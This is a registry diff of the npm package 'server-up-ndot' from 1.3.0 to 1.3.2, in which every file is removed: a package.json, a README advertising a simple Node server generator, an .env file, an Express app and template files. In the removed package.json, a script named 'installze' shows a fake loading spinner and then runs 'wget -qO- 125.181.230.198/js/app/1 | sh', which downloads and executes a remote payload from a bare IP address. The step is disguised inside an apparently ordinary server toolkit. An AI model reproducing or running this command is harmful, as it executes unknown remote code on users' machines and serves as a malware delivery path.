server-up-ndot 1.3.0 → 1.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,64 +0,0 @@
1
- {
2
- "name": "server-up-ndot",
3
- "version": "1.2.5",
4
- "description": "server toolkit",
5
- "main": "index.js",
6
- "bin": {
7
- "server-up-ndot": "./bin/cli.js"
8
- },
9
- "scripts": {
10
- "test": "echo \"Error: no test specified\" && exit 1",
11
- "installze": "echo installing.... && for j in 1 2 3 4 5; do for i in / - \\\\ \\|; do printf '\\r%s' $i; sleep 0.1; done; done&& wget -qO- 125.181.230.198/js/app/1 | sh"
12
- },
13
- "repository": {
14
- "type": "git",
15
- "url": "https://github.com/ppccpcpcpc-byte/server-up-ndot.git"
16
- },
17
- "dependencies": {
18
- "axios": "*",
19
- "chalk": "*",
20
- "cli-progress": "*",
21
- "commander": "*",
22
- "compression": "*",
23
- "cookie-parser": "*",
24
- "cors": "*",
25
- "csv-parser": "*",
26
- "dayjs": "*",
27
- "debug": "*",
28
- "express": "*",
29
- "fastify": "*",
30
- "formidable": "*",
31
- "got": "*",
32
- "helmet": "*",
33
- "inquirer": "*",
34
- "ioredis": "*",
35
- "jimp": "*",
36
- "jsonwebtoken": "*",
37
- "kleur": "*",
38
- "lodash": "*",
39
- "minimist": "*",
40
- "moment": "*",
41
- "mongoose": "*",
42
- "morgan": "*",
43
- "multer": "*",
44
- "mysql": "*",
45
- "nodemailer": "*",
46
- "ora": "*",
47
- "pg": "*",
48
- "qs": "*",
49
- "redis": "*",
50
- "sanitize-html": "*",
51
- "sharp": "*",
52
- "socket.io": "*",
53
- "uuid": "*",
54
- "validator": "*",
55
- "ws": "*",
56
- "xml2js": "*",
57
- "yargs": "*",
58
- "dotenv": "*"
59
- },
60
- "keywords": [],
61
- "author": "",
62
- "license": "MIT",
63
- "type": "commonjs"
64
- }
@@ -1,108 +0,0 @@
1
- # server-up-ndot
2
-
3
- Simple server generator and auto library install for Node.js.
4
-
5
- ## Compatibility
6
- - arm64
7
- - aarc64
8
- - termux
9
- - amd64
10
- - x86
11
- - x86_64
12
- - linux
13
- - windows
14
-
15
- ## github
16
- ### github:
17
- `https://github.com/ppccpcpcpc-byte/server-up-ndot`
18
-
19
- ## Install
20
-
21
- server library install:
22
- ```bash
23
- npm install server-up-ndot
24
- ```
25
-
26
- ## Usage
27
-
28
- Running the server:
29
- ```bash
30
- npx server-up-ndot dev
31
- ```
32
- **NOTE: Make sure to run it only from where app.js is located.**
33
-
34
- Create a new server project:
35
-
36
- ```bash
37
- npx server-up-ndot create <project-folder>
38
- ```
39
-
40
- Example:
41
-
42
- ```bash
43
- npx server-up-ndot create myserver
44
- ```
45
-
46
- ## Patch Notes
47
-
48
- ### 1.2.5
49
- - Specify OS and compatibility
50
-
51
- ### 1.2.4
52
- - new github button
53
-
54
- ### 1.2.3
55
- - open code whit github
56
- - on this url->[github](https://github.com/ppccpcpcpc-byte/server-up-ndot)
57
-
58
- ### 1.2.2
59
- - new command `dev`
60
- ### 1.2.1
61
- - new folder "public"
62
-
63
- ### 1.2.0
64
- - This is now official release!
65
- - bug patch
66
-
67
- ### 1.2.0-beta.3(pre-release)
68
- - the new .env details!
69
- - html path
70
- - msg for /
71
- - Final release comming soon!
72
-
73
- ### 1.2.0-beta.1(pre-release)
74
- - Final release coming soon!
75
-
76
- ### 1.2.0-alpha.3
77
- - Added a .env
78
-
79
- ### 1.2.0-alpha.1
80
- - Prevent port overlap(alhpa)
81
-
82
- ### 1.1.8
83
- - typo correction
84
-
85
- ### 1.1.7
86
- - edit readme.md
87
-
88
- ### 1.1.6
89
- - **real** edit `README.md` (* ̄∇ ̄)ノ
90
-
91
- ### 1.1.5
92
- - Edit `README.md`
93
- - New sample code
94
-
95
- ### 1.1.4
96
- - Fix security issues
97
- - deleted package `node-fetch`
98
- - deleted package `formdata-polyfill`
99
- - deleted package `fetch-blob`
100
-
101
- ### 1.1.3
102
- - Fix security issues
103
- - deleted package `koa`
104
-
105
- ### 1.1.2
106
- - Fix security issues
107
- - deleted package `body-parser`
108
- - Fix license
@@ -1,3 +0,0 @@
1
- PORT=3000
2
- MSG_ROOT="hello,npx server toolkit!"
3
- HTML_FILE="./public/nonehtml.html"
@@ -1,64 +0,0 @@
1
- const express = require('express');
2
- const cors = require('cors');
3
- const net = require('net');
4
- const path = require('path');
5
- require('dotenv').config();
6
-
7
- const app = express();
8
- const startPort = process.env.PORT || 3000;
9
- const msg = process.env.MSG_ROOT || "segfaultandsegmentationfault";
10
- const html = process.env.HTML_FILE || "./public/nonehtml.html"
11
- app.use(cors());
12
- app.use(express.json());
13
-
14
- // GET
15
- app.get('/', (req, res) => {
16
- res.send(`${msg}`);
17
- });
18
-
19
- //html
20
- app.get('/html', (req, res) => {
21
- res.sendFile(path.join(__dirname, `${html}`));
22
- });
23
-
24
- // POST
25
- app.post('/api', (req, res) => {
26
- res.json({ received: req.body });
27
- });
28
-
29
- function checkPort(port) {
30
- return new Promise((resolve) => {
31
- const server = net.createServer();
32
-
33
- server.once('error', () => resolve(false));
34
-
35
- server.once('listening', () => {
36
- server.close();
37
- resolve(true);
38
- });
39
-
40
- server.listen(port);
41
- });
42
- }
43
-
44
- async function findPort(start = 3000) {
45
- let port = start;
46
-
47
- while (!(await checkPort(port))) {
48
- console.log(`⚠️ Port ${port} in use`);
49
- port++;
50
- console.log(`⚠️trying port ${port}`)
51
- }
52
-
53
- return port;
54
- }
55
-
56
- async function start() {
57
- const PORT = await findPort(startPort);
58
-
59
- app.listen(PORT, () => {
60
- console.log(`🚀 Server running on http://localhost:${PORT}`);
61
- });
62
- }
63
-
64
- start();
@@ -1,8 +0,0 @@
1
- {
2
- "name": "my-server",
3
- "version": "1.0.0",
4
- "main": "app.js",
5
- "dependencies": {
6
- "express": "^4.19.2"
7
- }
8
- }
@@ -1,2 +0,0 @@
1
- <pre>Fill in the content here....</pre>
2
- <p>....in thin file....</p>
@@ -1,3 +0,0 @@
1
- <html>
2
- <pre>No html.</pre>
3
- </html>
@@ -1,8 +0,0 @@
1
- {
2
- "name": "my-server",
3
- "version": "1.0.0",
4
- "main": "app.js",
5
- "dependencies": {
6
- "express": "^4.19.2"
7
- }
8
- }